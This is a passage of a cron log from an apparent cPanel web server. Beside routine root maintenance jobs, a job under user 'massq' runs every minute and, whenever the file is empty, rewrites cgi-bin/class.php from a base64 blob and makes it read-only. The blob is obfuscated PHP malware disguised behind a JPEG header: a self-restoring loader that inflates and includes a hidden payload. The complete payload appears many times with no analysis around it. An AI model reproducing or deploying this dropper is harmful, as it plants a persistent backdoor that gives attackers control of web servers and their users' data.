EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:22:01 server CROND[12877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:22:01 server CROND[12876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:22:01 server CROND[12878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:23:01 server CROND[13255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:23:01 server CROND[13256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:23:01 server CROND[13257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:24:01 server CROND[13631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:24:01 server CROND[13632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:24:01 server CROND[13633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:25:01 server CROND[14190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:25:01 server CROND[14192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:25:01 server CROND[14194]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 20:25:01 server CROND[14196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:25:01 server CROND[14197]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:25:01 server CROND[14195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:25:01 server CROND[14200]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:25:01 server CROND[14198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:26:01 server CROND[15043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:26:01 server CROND[15044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:26:01 server CROND[15045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:27:01 server CROND[15429]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 20:27:01 server CROND[15432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:27:01 server CROND[15430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:27:01 server CROND[15431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:28:01 server CROND[15810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:28:01 server CROND[15811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:28:01 server CROND[15812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:29:01 server CROND[16200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:29:01 server CROND[16201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:29:01 server CROND[16202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:30:01 server CROND[16738]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 20:30:01 server CROND[16739]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:30:01 server CROND[16742]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:30:01 server CROND[16743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:30:01 server CROND[16746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:30:01 server CROND[16748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:30:01 server CROND[16747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:30:01 server CROND[16749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:30:01 server CROND[16751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:31:01 server CROND[17608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:31:01 server CROND[17609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:31:01 server CROND[17610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:32:01 server CROND[17985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:32:01 server CROND[17986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:32:01 server CROND[17984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:33:01 server CROND[18367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:33:01 server CROND[18369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:33:01 server CROND[18368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1